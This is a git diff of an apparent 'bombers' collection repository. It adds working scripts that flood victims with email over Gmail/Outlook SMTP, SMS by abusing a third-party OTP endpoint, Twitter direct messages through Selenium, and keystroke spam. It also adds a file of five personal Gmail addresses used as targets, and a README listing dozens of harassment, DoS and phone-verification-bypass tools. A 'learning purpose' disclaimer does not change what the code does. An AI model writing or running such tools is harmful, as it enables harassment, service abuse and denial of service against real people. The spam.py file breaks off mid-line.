diff --git a/Email_Bomber_Version2.py b/Email_Bomber_Version2.py new file mode 100644 index 0000000..5555933 --- /dev/null +++ b/Email_Bomber_Version2.py @@ -0,0 +1,33 @@ +import smtplib +import time +print ("\033[1;31m_________ __ __ ____ ________ __ \033[1;m") +print ("\033[1;34m|########| |##\ /##| /####\ |########| |##| By @everydaycodings \033[1;m") +print ("\033[1;34m|##|____ |###\ __ /###| /##/\##\ |##| |##| Made with code \033[1;m") +print ("\033[1;34m|########| |##| |##| |##| /########\ |##| |##| ____ __ ____ __ ___ \033[1;m") +print ("\033[1;31m|##|_____ |##| |##| /##/ \##\ __|##|__ |##|_______ |__| | | |\/| |__| |__ |__| \033[1;m") +print ("\033[1;31m|########| |##| |##| /##/ \##\ |########| |##########| _|__| |__| | | _|__| |__ | \ \033[1;m") + +files = open('email.txt', 'r') +bomb_emails = files.readlines() + + +email = input("Enter your gmail_address:") +password = input("Enter your gmail_password:") +message = input("Enter Message:") +message_relode = int(input("How many message you want to send?:")) + + +for bomb_email in bomb_emails: + for x in range(0, message_relode): + mail = smtplib.SMTP('smtp.gmail.com',587) + mail.ehlo() + mail.starttls() + mail.login(email,password) + mail.sendmail(email,bomb_email,message) + print("message sent to {}".format(bomb_email)) + time.sleep(1) + +mail.close() +files.close() + +print("Done") diff --git a/Email_bomber.py b/Email_bomber.py index 0db16d2..1c1674e 100644 --- a/Email_bomber.py +++ b/Email_bomber.py @@ -14,14 +14,22 @@ try: message = input("Enter Message:") counter = int(input("How many message you want to send?:")) + # gmail of outlook + s_ = input('Select the service provider (Gmail / Outlook): ').lower() + + if s_ == "gmail": + mail = smtplib.SMTP('smtp.gmail.com',587) + elif s_ == "outlook": + mail = smtplib.SMTP('smtp.office365.com',587) + for x in range(0,counter): print("Number of Message Sent : ", x+1) - mail = smtplib.SMTP('smtp.gmail.com',587) mail.ehlo() mail.starttls() mail.login(email,password) mail.sendmail(email,bomb_email,message) time.sleep(1) + mail.close() except Exception as e: print("Something is wrong, please Re-try Again with Valid input.") diff --git a/README.md b/README.md index 385c470..9524504 100644 --- a/README.md +++ b/README.md @@ -1,90 +1,97 @@ # :boom::bomb::bomb::bomb: BOMBERs :bomb::bomb::bomb::boom: -SMS/Email/whatsapp Bombers Collection. +***SMS/Email/Whatsapp/Twitter/Instagram 𝔹𝕠𝕞𝕓𝕖𝕣𝕤 ℂ𝕠𝕝𝕝𝕖𝕔𝕥𝕚𝕠𝕟. ♡ Also added collection of some Fake SMS utilities which helps in skip phone number based SMS verification by using a temporary phone number that acts like a proxy.*** -![Working](https://placehold.it/15/0000FF/0000FF/?text=+) : Working
-![Not-Working](https://placehold.it/15/FF0000/FF0000/?text=+) : Not- Working (Or need some modifications)
-![Others](https://placehold.it/15/00FF00/00FF00/?text=+) : Others (pending, Some anothers issues OR not checked that is it working or not.)
+| Status | Description | Color Code | +|--------|-------------|------------| +|Working| The Script is working. | ![Working](https://i.ibb.co/3FntR1c/1.png) | +|Not- Working| Scripts are not working Or need some modifications.|![Not-Working](https://i.ibb.co/wWtD8S6/2.png) | +|Others| Pending, Some anothers issues OR not checked that is it working or not.| ![Others](https://i.ibb.co/pQwqwcN/3.png)| ### SMS BOMBERS :calling: :boom: - -![Not-Working](https://placehold.it/15/FF0000/FF0000/?text=+) 1. Sms_bomber.py -> sending continues sms from using one single link. - NOTE: Sms_bomber.py not working anymore, please refer: Sms_bomber_updated.py - -![Others](https://placehold.it/15/00FF00/00FF00/?text=+) 2. Sms_bomber_version2.py -> sending continues sms from using one Multiple links. - -![Working](https://placehold.it/15/0000FF/0000FF/?text=+) 3. bomb3r 💣 -> sending continues sms from on specified mobile number (25 different sms providers)- by iMro0t - -![Others](https://placehold.it/15/00FF00/00FF00/?text=+) 4. numspy_bomber.py -> Numspy bomber sending multiple free messages using numspy module. (Currently not working need to update) - -![Others](https://placehold.it/15/00FF00/00FF00/?text=+) 5. SmS-BomB -> Your Own SmS BomBer...!!! - by [Bhai4You](https://github.com/Bhai4You) - -![Others](https://placehold.it/15/00FF00/00FF00/?text=+) 6. SpamSms -> Spamming mobile number with OTP. - by KANG-NEWBIE - -![Others](https://placehold.it/15/00FF00/00FF00/?text=+) 7. C-SpamMasal -> Spamming mobile number with OTP. - by KANG-NEWBIE - -![Others](https://placehold.it/15/00FF00/00FF00/?text=+) 8. SMS-BOMBER -> SMS Bomber. - by jdleo - -![Working](https://placehold.it/15/0000FF/0000FF/?text=+) 9. SMS spamming using email address -> SMS using email. - by metachar - -![Working](https://placehold.it/15/0000FF/0000FF/?text=+) 10. TBomb -> SMS Bomber(Ubuntu/termux) - by TheSpeedX - -![Others](https://placehold.it/15/00FF00/00FF00/?text=+) 11. smsBomb -> SMS Bomber. - by shellvon - -![Others](https://placehold.it/15/00FF00/00FF00/?text=+) 12. sms-bomber -> SMS Bomber. - by aarnhub - -![Others](https://placehold.it/15/00FF00/00FF00/?text=+) 13. Reborn SMS Bomber For Termux and Linux -> Reborn SMS Bomber. - by 4nat - -![Working](https://placehold.it/15/0000FF/0000FF/?text=+) 14. ni_bomber -> SMS Bomber - by Nikait - -![Working](https://placehold.it/15/0000FF/0000FF/?text=+) 15. YetAnotherSMSBomber -> Sms Bomber. - by AvinashReddy3108 +| Sr.No. | Name | Description | Developed By | Status | +|--------|------|--------------|-------------|--------| +|1.| Sms_bomber.py | Sending continues sms from using one single link. NOTE: Sms_bomber.py is now working too Thanks to [Ghost](https://github.com/ghost). Also refer: Sms_bomber_updated.py | bhattsameer| ![Working](https://i.ibb.co/3FntR1c/1.png) | +|2.| Sms_bomber_version2.py | Sending continues sms from using one Multiple links.| bhattsameer| ![Others](https://i.ibb.co/pQwqwcN/3.png)| +|3.| bomb3r 💣 |Sending continues sms from on specified mobile number (25 different sms providers) |iMro0t | ![Working](https://i.ibb.co/3FntR1c/1.png) | +|4.| numspy_bomber.py | Numspy bomber sending multiple free messages using numspy module. (Currently not working need to update) |bhattsameer|![Others](https://i.ibb.co/pQwqwcN/3.png) | +|5.| SmS-BomB| Your Own SmS BomBer...!!! |[Bhai4You](https://github.com/Bhai4You) |![Others](https://i.ibb.co/pQwqwcN/3.png) | +|6.| SpamSms |Spamming mobile number with OTP.|KANG-NEWBIE|![Others](https://i.ibb.co/pQwqwcN/3.png)| +|7.| C-SpamMasal |Spamming mobile number with OTP. |KANG-NEWBIE|![Others](https://i.ibb.co/pQwqwcN/3.png) | +|8.| SMS-BOMBER |SMS Bomber.|jdleo|![Others](https://i.ibb.co/pQwqwcN/3.png) | +|9.| TBomb |A free and open-source SMS/Call bombing application | TheSpeedX|![Working](https://i.ibb.co/3FntR1c/1.png) | +|10.| smsBomb |SMS Bomber.| shellvon|![Others](https://i.ibb.co/pQwqwcN/3.png) | +|11.| sms-bomber| SMS Bomber. |aarnhub|![Others](https://i.ibb.co/pQwqwcN/3.png) | +|12.| Reborn SMS Bomber For Termux and Linux|Reborn SMS Bomber. |4nat|![Others](https://i.ibb.co/pQwqwcN/3.png) | +|13.| ni_bomber |SMS Bomber |Nikait|![Not-Working](https://i.ibb.co/wWtD8S6/2.png) | +|14.| YetAnotherSMSBomber|Sms Bomber.|AvinashReddy3108|![Not-Working](https://i.ibb.co/wWtD8S6/2.png) | +|15.| smsbomb|Sms Bomber.|1d8|![Others](https://i.ibb.co/pQwqwcN/3.png) | +|16.| XLR8_BOMBER|Superfast SMS bomber for linux and termux, Also sends OTP to whatsapp. |anubhavanonymous |![Working](https://i.ibb.co/3FntR1c/1.png) | +|17.| Beast_Bomber|SMS, email, WhatsApp, Telegram, Discord bomber and DoS attacker|ebankoff |![Working](https://i.ibb.co/3FntR1c/1.png) | ### EMAIL BOMBERS :e-mail: :boom: - -![Not-Working](https://placehold.it/15/FF0000/FF0000/?text=+) 1. Email_bomber.py -> sending continues email. - -![Working](https://placehold.it/15/0000FF/0000FF/?text=+) 2. Email_bomber -> sending continues email -by [zanyarjamal](https://github.com/zanyarjamal) - -![Working](https://placehold.it/15/0000FF/0000FF/?text=+) 3. Email_bomb -> sending continues email using your yahoo and gmail account-by [MrMugiwara](https://github.com/MrMugiwara) - -![Others](https://placehold.it/15/00FF00/00FF00/?text=+) 4. EmBomber -> Email Bomber. - by MazenElzanaty - -![Working](https://placehold.it/15/0000FF/0000FF/?text=+) 5. Python---Email-Bomber -> Email Bomber. - by ncorbuk - -![Working](https://placehold.it/15/0000FF/0000FF/?text=+) 6. EmailPySpam -> Email Bomber. - by Curioo - -![Others](https://placehold.it/15/00FF00/00FF00/?text=+) 7. Email-Spammer -> Email Bomber. - by Juniorn1003 +| Sr.No. | Name | Description | Developed By | Status | +|--------|------|--------------|-------------|--------| +|1.| Email_bomber.py |Sending continues email. Update with Outlook bomber as well |[xyzricky](https://github.com/xyzricky)|![Working](https://i.ibb.co/3FntR1c/1.png) | +|2.| Email_bomber |Sending continues email. |[zanyarjamal](https://github.com/zanyarjamal) |![Working](https://i.ibb.co/3FntR1c/1.png) | +|3.| Email_bomb |Sending continues email using your yahoo and gmail account.|[MrMugiwara](https://github.com/MrMugiwara)|![Working](https://i.ibb.co/3FntR1c/1.png) | +|4.| EmBomber| Email Bomber. |MazenElzanaty|![Others](https://i.ibb.co/pQwqwcN/3.png)| +|5.| Python---Email-Bomber | Email Bomber.| ncorbuk|![Working](https://i.ibb.co/3FntR1c/1.png) | +|6.| EmailPySpam |Email Bomber.|Curioo|![Working](https://i.ibb.co/3FntR1c/1.png) | +|7.| Email-Spammer | Email Bomber. | Juniorn1003|![Working](https://i.ibb.co/3FntR1c/1.png) | +|8.| Email-Bomber |Email Bomber.|mohinparamasivam|![Working](https://i.ibb.co/3FntR1c/1.png) | +|9.| Fast Mail Bomber |Fast, multithreading, efficient and easy-to-use mail bombing/spamming tool. Sending mails via mailman services hosted by different providers. | juzeon|![Working](https://i.ibb.co/3FntR1c/1.png) | +|10.| Email_Bomber_Version2 |Fast, multithreading, efficient and easy-to-use mail bombing/spamming tool. Sending mails To multiple Victims(Improved Version). | everydaycodings|![Working](https://i.ibb.co/3FntR1c/1.png) | +|11.| Atomic Email Bomb | A better Gmail bomber. | zeyad-mansour|![Working](https://i.ibb.co/3FntR1c/1.png) | +|12.| email-bomber |this is a email bomber unlike other email bombers u don't need your gmail email id to use this. |[bagarrattaa](https://github.com/bagarrattaa) |![Working](https://i.ibb.co/3FntR1c/1.png) | +|13.| Beast_Bomber|SMS, email, WhatsApp, Telegram, Discord bomber and DoS attacker|ebankoff |![Working](https://i.ibb.co/3FntR1c/1.png) | ### Whats-app Bombers :calling: :boom: +| Sr.No. | Name | Description | Developed By | Status | +|--------|------|--------------|-------------|--------| +|1.| wbomb.py| Whatsapp-bomber sending multipal message to a single user.|bhattsameer Last Modified: [getPoland](https://github.com/getPoland)|![Working](https://i.ibb.co/3FntR1c/1.png)| +|2.| whatabomb | Whats-app bomber GUI. | [tbhaxor](https://github.com/tbhaxor)|![Working](https://i.ibb.co/3FntR1c/1.png) | +|3.| WhatsApp-Bomber | WhatsApp Monitor+Bomber (Chrome Extension)| [rizwansoaib](https://github.com/rizwansoaib)|![Not-Working](https://i.ibb.co/wWtD8S6/2.png)| +|4.| WhatsApp-Spam | WhatsApp-Spam scripts | [macr1408](https://github.com/macr1408)|![Others](https://i.ibb.co/pQwqwcN/3.png) | +|5.| Beast_Bomber|SMS, email, WhatsApp, Telegram, Discord bomber and DoS attacker|ebankoff |![Working](https://i.ibb.co/3FntR1c/1.png) | -![Working](https://placehold.it/15/0000FF/0000FF/?text=+) 1. wbomb.py -> Whatsapp-bomber sending multipal message to a single user +### Twitter Bombers :boom: +| Sr.No. | Name | Description | Developed By | Status | +|--------|------|--------------|-------------|--------| +|1.| Twitter_bomber.py |Twitter-bomber this will allow spamming the twitter inbox of a person with the message you want, the person who is using this must make sure that the inbox of the user who will be spammed is open. | [akshaykalucha3](https://github.com/akshaykalucha3)|![Working](https://i.ibb.co/3FntR1c/1.png) | -![Working](https://placehold.it/15/0000FF/0000FF/?text=+) 2. whatabomb -> Whats-app bomber GUI - by [tbhaxor](https://github.com/tbhaxor) -![Others](https://placehold.it/15/00FF00/00FF00/?text=+) 3. wbomb_version2.py (coming soon) -> Whatsapp-bomber sending multipal message to multipal users. - -![Others](https://placehold.it/15/00FF00/00FF00/?text=+) 4. WhatsApp-Bomber -> WhatsApp Monitor+Bomber (Chrome Extension) - by [rizwansoaib](https://github.com/rizwansoaib) - -![Others](https://placehold.it/15/00FF00/00FF00/?text=+) 5. WhatsApp-Spam -> WhatsApp-Spam scripts - by [macr1408](https://github.com/macr1408) +### TEMP & Fake-SMS Collection: +| Sr.No. | Name | Description | Developed By | Status | +|--------|------|--------------|-------------|--------| +|1.| tmpsms| A temporary SMS utility right from your terminal written in POSIX sh. |[sdushantha](https://github.com/sdushantha)|![Working](https://i.ibb.co/3FntR1c/1.png) | +|2.| fake-sms| A simple command line tool using which you can skip phone number based SMS verification by using a temporary phone number that acts like a proxy. |[Narasimha1997](https://github.com/Narasimha1997)|![Working](https://i.ibb.co/3FntR1c/1.png) | ### Others: +| Sr.No. | Name | Description | Developed By | Status | +|--------|------|--------------|-------------|--------| +|1.| https://mailspammer.cf | Email Spammer Website. Spam piles and piles of emails! |[WOLFIE_OG](https://github.com/WOLFIE-OG)|![Not-Working](https://i.ibb.co/wWtD8S6/2.png) | +|2.| HPomb|HPomb Call, SMS and mail bomber all in one. |[HoneyPots0](https://github.com/HoneyPots0)|![Others](https://i.ibb.co/pQwqwcN/3.png)| +|3.| bomberthon |Best Bombing Tool with WhatsApp, Instagram, SMS bomber | [b31ngD3v](https://github.com/b31ngD3v)|![Working](https://i.ibb.co/3FntR1c/1.png)| +|4.| PySpam | Spam for pc {not work on phone} | [timofey260](https://github.com/timofey260)|![Working](https://i.ibb.co/3FntR1c/1.png)| -![Working](https://placehold.it/15/0000FF/0000FF/?text=+) 1. https://mailspammer.cf - Email Spammer Website. Spam piles and piles of emails! - by [WOLFIE_OG](https://github.com/WOLFIE-OG) - -![Others](https://placehold.it/15/00FF00/00FF00/?text=+) 2. HPomb -> HPomb Call, SMS and mail bomber all in one - by [HoneyPots0](https://github.com/HoneyPots0) ## Contributors: -:octocat: [iMro0t](https://github.com/iMro0t)
-:octocat: [rizwansoaib](https://github.com/rizwansoaib)
-:octocat: [scienceLabwork](https://github.com/scienceLabwork)
-:octocat: [cclauss](https://github.com/cclauss)
-:octocat: [rduttshukla](https://github.com/rduttshukla)
-:octocat: [LucasNcipha](https://github.com/LucasNcipha)
+To keep this collection up-to-date need contributors who can add more mobile/email/whatsapp/twitter scripts and github repo here at one place. +|||| +|--------------|----------|----------| +|:octocat: [iMro0t](https://github.com/iMro0t)|:octocat: [akshaykalucha3](https://github.com/akshaykalucha3)|:octocat: [bagarrattaa](https://github.com/bagarrattaa)| +|:octocat: [rizwansoaib](https://github.com/rizwansoaib)|:octocat: [xyzricky](https://github.com/xyzricky)| | +|:octocat: [scienceLabwork](https://github.com/scienceLabwork)|:octocat: [timofey260](https://github.com/timofey260)| | +|:octocat: [cclauss](https://github.com/cclauss)|:octocat: [juzeon](https://github.com/juzeon)| | +|:octocat: [rduttshukla](https://github.com/rduttshukla)|:octocat: [Ghost](https://github.com/ghost)| | +|:octocat: [LucasNcipha](https://github.com/LucasNcipha)|:octocat: [everydaycodings](https://github.com/everydaycodings)| | +|:octocat: [zeyad-mansour](https://github.com/zeyad-mansour)|:octocat: [ebankoff](https://github.com/ebankoff)| | ## Note: -I am not responsible for any thing you do with this script -This is just for learning and knowledge purpose. +𝙄 𝙖𝙢 𝙣𝙤𝙩 𝙧𝙚𝙨𝙥𝙤𝙣𝙨𝙞𝙗𝙡𝙚 𝙛𝙤𝙧 𝙖𝙣𝙮 𝙩𝙝𝙞𝙣𝙜 𝙮𝙤𝙪 𝙙𝙤 𝙬𝙞𝙩𝙝 𝙩𝙝𝙞𝙨 𝙨𝙘𝙧𝙞𝙥𝙩 +𝙏𝙝𝙞𝙨 𝙞𝙨 𝙟𝙪𝙨𝙩 𝙛𝙤𝙧 𝙡𝙚𝙖𝙧𝙣𝙞𝙣𝙜 𝙖𝙣𝙙 𝙠𝙣𝙤𝙬𝙡𝙚𝙙𝙜𝙚 𝙥𝙪𝙧𝙥𝙤𝙨𝙚. ## Please contribute! diff --git a/SMS_bomber.py b/SMS_bomber.py index 7e20c78..c9e08dc 100644 --- a/SMS_bomber.py +++ b/SMS_bomber.py @@ -1,9 +1,15 @@ -from urllib.request import Request,urlopen -from urllib.parse import urlencode +#python2 +#from urllib.request import Request,urlopen +import urllib2,cookielib +#from urllib.parse import urlencode import platform import os import time -from random import randint + +try: + raw_input +except NameError: + raw_input = input def banner(): if platform.system().lower()=="windows": @@ -11,7 +17,6 @@ def banner(): else: os.system("clear") print(""" - /$$$$$$ /$$ /$$ /$$$$$$ /$$$$$$$ /$$$$$$ /$$ /$$ /$$$$$$$ /$$$$$$$$ /$$$$$$$ /$$__ $$| $$$ /$$$ /$$__ $$ | $$__ $$ /$$__ $$| $$$ /$$$| $$__ $$| $$_____/| $$__ $$ | $$ \__/| $$$$ /$$$$| $$ \__/ | $$ \ $$| $$ \ $$| $$$$ /$$$$| $$ \ $$| $$ | $$ \ $$ @@ -21,43 +26,36 @@ def banner(): | $$$$$$/| $$ \/ | $$| $$$$$$/ | $$$$$$$/| $$$$$$/| $$ \/ | $$| $$$$$$$/| $$$$$$$$| $$ | $$ \______/ |__/ |__/ \______/ |_______/ \______/ |__/ |__/|_______/ |________/|__/ |__/ - By : D3XBugg3R - Modded By: Lucas - With <3 of T34M GCA + By : D3XBugg3R Note : I won't be responsible for any damage caused by this script, Use at your own risk """) -#http://m.naaptol.com/faces/jsp/ajax/ajax.jsp?actionname=checkMobileUserExists&mobile= #https://securedapi.confirmtkt.com/api/platform/register?mobileNumber= #http://t.justdial.com/api/india_api_write/10aug2016/sendvcode.php?mobile= -#http://www.quikr.com/SignIn?aj=1&for=send_otp&user= - #https://securedapi.confirmtkt.com/api/platform/register?mobileNumber= - -how_many = input("How many numbers do you want to bomb? ") -numbers = [] -for i in range(how_many): - temp = str(input(f"Enter the number {i+1}: ")) - numbers.append(temp) - def send(num, counter, slep): #url = ["https://securedapi.confirmtkt.com/api/platform/register?mobileNumber=","https://m.naaptol.com/faces/jsp/ajax/ajax.jsp?actionname=checkMobileUserExists&mobile=","https://t.justdial.com/api/india_api_write/10aug2016/sendvcode.php?mobile="] - url="https://m.naaptol.com/faces/jsp/ajax/ajax.jsp?actionname=checkMobileUserExists&mobile=" - data={"phone":num} + url="https://securedapi.confirmtkt.com/api/platform/register?mobileNumber=" + #data={"phone":num} + hdr = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','Accept-Charset': 'ISO-8859-1,utf-8;q=0.7,*;q=0.3','Accept-Encoding': 'none','Accept-Language': 'en-US,en;q=0.8','Connection': 'keep-alive'} + result_url=url+num + req = urllib2.Request(result_url, headers=hdr) for x in range(counter): banner() - print("Target Number : ", num) - print("Number of Message Sent : ", x+1) - result_url=url+num - resp1=Request(result_url) - urlopen(resp1) + #print("Target Number : 01531999473", num) + #print("Number of Message Sent : ", x+1) + page = urllib2.urlopen(req) + #resp1=Request(result_url) + #urlopen(resp1) time.sleep(slep) try: banner() - for number in numbers: - send(number, int(input(f"Enter Number of Messages for {number} : ")), randint(3)) + number = raw_input("Enter mobileNumber: ") + count = raw_input("Enter number of Message: ") + throttle = raw_input("Enter time of sleep: ") + send(number,int(count), int(throttle)) except Exception as e: print("Something is wrong please Re-run this script.") diff --git a/Twitter_bomber.py b/Twitter_bomber.py new file mode 100644 index 0000000..8fd84b3 --- /dev/null +++ b/Twitter_bomber.py @@ -0,0 +1,103 @@ +from selenium import webdriver +import os +from webdriver_manager.chrome import ChromeDriverManager +import argparse +from selenium.webdriver.support.ui import WebDriverWait +from selenium.webdriver.common.by import By +from selenium.webdriver.support import expected_conditions as EC +import time +import sys +from selenium.webdriver.chrome.options import Options + + +def banner(): + print(''' + _______ __ __ ____ ____ __ __ ____ + |__ __| \ \ / / | _ \ / __ \ | \/ | | _ \ /\ + | | \ \ /\ / / ___ __ _ _ __ | |_) | | | | | | \ / | | |_) | / \ + | | \ \/ \/ / / __| / _` | | '__| | _ < | | | | | |\/| | | _ < / /\ \ + | | \ /\ / \__ \ | (_| | | | | |_) | | |__| | | | | | | |_) | / ____ \ ☢️ + |_| \/ \/ |___/ \__,_| |_| |____/ \____/ |_| |_| |____/ /_/ \_\ + + By: akshaykalucha3 + Note : I won't be responsible for any damage caused by this script, Use at your own risk + + ''') + +parser = argparse.ArgumentParser(description='Bomb twitter user with spam messages') + +""" 4 Step: + cautain: be sure your connection is fast and take no more than 4-5sec to enter username of the victim as chrome driver is stateless + and opening a new url after a interval of seconds may log you out of your twitter account. + + 1) run command python Twitter_bomber.py -u *your_twitter_username* -p *your_twitter_password* + 2) enter correct username of person you want to spam, make sure his twitter messages are open, after message screen is opened, + minimize window 7 follow #3 + 3) press 1 if you want to manually type the message you eant to send; or 2 if you want to export a file and extract message from there + 4) enter message count + +""" + +parser.add_argument('-u', '--username', type=str, required=True, help="twitter username @\ of user, can be his phone number or email") +parser.add_argument('-p', '--password', type=str, required=True, help="twitter password of the user") +args = parser.parse_args() + +chrome_options = webdriver.ChromeOptions() +chrome_options.add_experimental_option("detach", True) +driver = webdriver.Chrome(ChromeDriverManager().install(), options=chrome_options) + + +def bombMsg(n, txt): + for i in range(n): + WebDriverWait(driver, 20).until(EC.element_to_be_clickable((By.CSS_SELECTOR, '#react-root > div > div > div.css-1dbjc4n.r-18u37iz.r-13qz1uu.r-417010 > main > div > div > div > section:nth-child(2) > div.css-1dbjc4n.r-1pz39u2.r-13awgt0 > div > div > div > div > aside > div.css-1dbjc4n.r-obd0qt.r-18u37iz.r-1uu6nss.r-13qz1uu > div.css-1dbjc4n.r-1kihuf0.r-16y2uox.r-1wbh5a2 > div > div > div > div > div.css-901oao.r-jwli3a.r-6koalj.r-16y2uox.r-1qd0xha.r-a023e6.r-16dba41.r-ad9z0x.r-bcqeeo.r-qvutc0 > div > div > div > div.DraftEditor-editorContainer > div > div > div > div'))).send_keys(txt) + SendBtn = driver.find_element_by_xpath('//*[@id="react-root"]/div/div/div[2]/main/div/div/div/section[2]/div[2]/div/div/div/div/aside/div[2]/div[3]') + SendBtn.click() + print("Bombing Complete !!!") + banner() + + +def attack(): + driver.get('https://twitter.com/login') + userId = driver.find_element_by_xpath('//*[@id="react-root"]/div/div/div[2]/main/div/div/div[1]/form/div/div[1]/label/div/div[2]/div/input') + userId.send_keys(args.username) + userPass = driver.find_element_by_xpath('//*[@id="react-root"]/div/div/div[2]/main/div/div/div[1]/form/div/div[2]/label/div/div[2]/div/input') + userPass.send_keys(args.password) + loginBtn = driver.find_element_by_xpath('//*[@id="react-root"]/div/div/div[2]/main/div/div/div[1]/form/div/div[3]/div') + loginBtn.click() + driver.minimize_window() + + + name = input('Enter the twitter name of victim: ') + if len(name) >= 3: + pass + else: + name = input('Enter the name of victim correctly: ') + + + + ### GET VICTIM PROFILE PAGE ### + driver.get(f'https://twitter.com/{name}') + time.sleep(1) + driver.maximize_window() + + + ## GET MESSAGE INBOX ### + messageLink = driver.find_element_by_xpath('//*[@id="react-root"]/div/div/div[2]/main/div/div/div/div[1]/div/div[2]/div/div/div[1]/div/div[1]/div/div[2]') + messageLink.click() + + + + #### SEND MESSAGE IN VICTIMS INBOX ### + WebDriverWait(driver, 20).until(EC.element_to_be_clickable((By.XPATH, '//*[@id="react-root"]/div/div/div[2]/main/div/div/div/section[2]/div[2]/div/div/div/div/aside/div[2]/div[2]/div/div/div/div/div[1]/div'))).click() + MsgBx = driver.find_element_by_css_selector('#react-root > div > div > div.css-1dbjc4n.r-18u37iz.r-13qz1uu.r-417010 > main > div > div > div > section:nth-child(2) > div.css-1dbjc4n.r-1pz39u2.r-13awgt0 > div > div > div > div > aside > div.css-1dbjc4n.r-obd0qt.r-18u37iz.r-1uu6nss.r-13qz1uu > div.css-1dbjc4n.r-1kihuf0.r-16y2uox.r-1wbh5a2 > div > div > div > div > div.css-901oao.r-jwli3a.r-6koalj.r-16y2uox.r-1qd0xha.r-a023e6.r-16dba41.r-ad9z0x.r-bcqeeo.r-qvutc0 > div > div > div > div.DraftEditor-editorContainer > div > div > div > div') + Ops = int(input("Select what form of messahe you would like to send: \n Enter [1] to send manual message Enter [2] to import a txt file: ")) + if Ops == 1: + Content = input("Enter the message: ") + elif Ops == 2: + fileLoc = input("Enter the file location: ") + instances = int(input("Enter total count: ")) + + bombMsg(instances, Content) + +attack() + diff --git a/email.txt b/email.txt new file mode 100644 index 0000000..fe02d66 --- /dev/null +++ b/email.txt @@ -0,0 +1,5 @@ +iansarn@gmail.com +ianschramm77@gmail.com +ian.sears1@gmail.com +ian.sheila@gmail.com +ian.sheldon6@gmail.com diff --git a/spam.py b/spam.py new file mode 100644 index 0000000..663242a --- /dev/null +++ b/spam.py @@ -0,0 +1,285 @@ +# Discord: TiMoFey#5066 +# Github: https://github.com/timofey260/pyspam +# site: https://timofey26s.tilda.ws +# import______________________________________________ +import codecs +import pyautogui +from os import system # system use for clear messages +from time import sleep # sleep block on load{wait...} +from colorama import Fore, init # for colored text + +# inits________________________________________________ +init(Fore) # colorama init +uns = '' # unuse str. uses for def error() +# colors_______________________________________________ +rr = Fore.RED +rg = Fore.GREEN +rc = Fore.CYAN +ry = Fore.YELLOW +# vars_______________________________________ +x = 6 +modes = 3 +v = "1.2.5" +run = True +# banners____________________________________________ +log = ('1.2.5:\n' + '-interval added\n') +b = ('_____ + |||||||||||||||||| \n' + ' | /\\ /\\ |||||(0)|||(0)|||| \n' + ' | | / \\ / \\ |||||||||||||||||| \n' + ' | | / \\ / \\ ||||0\\|||||||/0||| \n' + ' | | / \\/ \\ ||||\\00000000/|||| \n' + '========spam_programm===========|||||||||||||||||| \n') # menu +cr = (rg + ' ________________________________________________ \n' + '|-------------------Made by Timofey--------------|\n' + '|Discord: TiMoFey#5066 |\n' + '|Github: https://github.com/timofey260/pyspam |\n' + '|site: https://timofey26s.tilda.ws |\n' + '|________________________________________________|\n') +err = (rr + ' _________________________________________________________ \n' + '|---------------------------Errors------------------------|\n' + '|1. FileError: file not found! |\n' + '|2. NumError: {str} not a number! |\n' + '|3. IndexError: index out of range! |\n' + '|4. TypeError: {str} is not 1 - %1s! |\n' + '|5. ListError: Error not found! correct def error() |\n' + '|_________________________________________________________|\n' % (x)) + + +# deffs___________________________________________ +def error(value, result, ver): # errors: easy moding + if value == 1: + print('FileError: %1s file not found!' % result) + + elif value == 2: + print('NumError: %1s not a number!' % result) + + elif value == 3: + print('IndexError: index out of range!') + + elif value == 4: + print('TypeError: %1s is not 1 - %1s!' % (result, ver)) + + else: + print('ListError: Error not found! correct def error()') + input() + exit() + +def menud(pa1, pa2): + print(ry + "[" + rc + str(pa1) + ry + "] " + pa2) + + +def menu(): + print(rr + b) + menud(1, 'mode') # menu text + menud(2, 'credits') + menud(3, 'Errorlist') + menud(4, 'exit') + menud(5, 'version') + menud(6, 'log') +import pyperclip, keyboard + +def paste(text): + pyperclip.copy(text) + keyboard.press_and_release('ctrl + v') + + +# programms__________________________________________________ +while run: + + menu() + name = input('>>> ') # name(int) + if name == '1': + menud(1, 'file') # menu text + menud(2, 'message') + menud(3, 'num_message') + name = input('>>> ') + if name == '1': + + f = input("file name: ") # f - filename(str) + print(rg + 'num of messages(you can use"all"): ' + rr) + + n = input() # n - num of messages(int or str('all')) + try: + inte = int(input("interval[sec]: ")) + + except: + error(2, inte, ver) + if n == 'all': + num = 0 # num - index of file(int) + fil = f + ".txt" # file.txt + try: # errorfind + file = codecs.open(fil, 'r', encoding='utf-8').readlines() # open file for 'all' + except: + error(1, fil, x) + filew = file + le = len(filew) + elif n != 'all': + + try: # errorfind + n = int(n) # n - num of messages(int or str('all')) + except: + error(2, n, x) + num = 0 + fil = f + ".txt" + try: # errorfind + file = codecs.open(fil, 'r', encoding='utf-8').readlines() # open file for 'slice' + filew = file[:n] # slice of file + except: + error(1, fil, x) + le = len(filew) + if n > len(filew): + error(3, uns, x) + + elif n == "": + error(2, n, x) + sleep(4) # wait... + system('cls||clear') # cls + + print(ry + b + "\nwait. ") + sleep(0.5) + system('cls||clear') + + print(ry + b + "\nwait.. ") + sleep(0.5) + system('cls||clear') + + print(ry + b + "\nwait...") + system('cls||clear') + for a in filew: # spam messages in file + sleep(inte) + print(rg + '%1d message send!' % (num + 1)) # print messages in screen + paste(a) + num = num + 1 + pyautogui.press('enter') + print('=====process=====#file') + pyautogui.alert('succefuly send %2d messages!' % (le)) # result + elif name == '2': + print(rr + b) + print(rg + 'text: ' + rr) + g = input() + print(rg + 'num of messages(0 = inf.): ' + rr) + try: + inte = int(input("interval[sec]: ")) + + except: + error(2, inte, ver) + try: # errorfind + n = int(input()) + except: + + error(2, n, x) + sleep(4) # wait... + f = range(n) + system('cls||clear') # cls + + print(ry + b + "\nwait. ") + sleep(0.5) + system('cls||clear') + + print(ry + b + "\nwait.. ") + sleep(0.5) + system('cls||clear') + + print(ry + b + "\nwait...") + system('cls||clear') + + print('=====process=====#message') + print(b, '\nmessage: %1s\ntimes: %1s' % (g, n)) + if n != 0: + for i in f: # spam messages + sleep(inte) + print(rg + '%1d message send!' % (i + 1)) # print messages in screen + paste(g) + pyautogui.press('enter') + elif n == 0: + r = True + i = 0 + while r: + i = i + 1 + sleep(inte) + print(rg + '%1d message send!' % (i)) + paste(g) + pyautogui.press('enter') + + pyautogui.alert('succefuly send %2d messages!' % 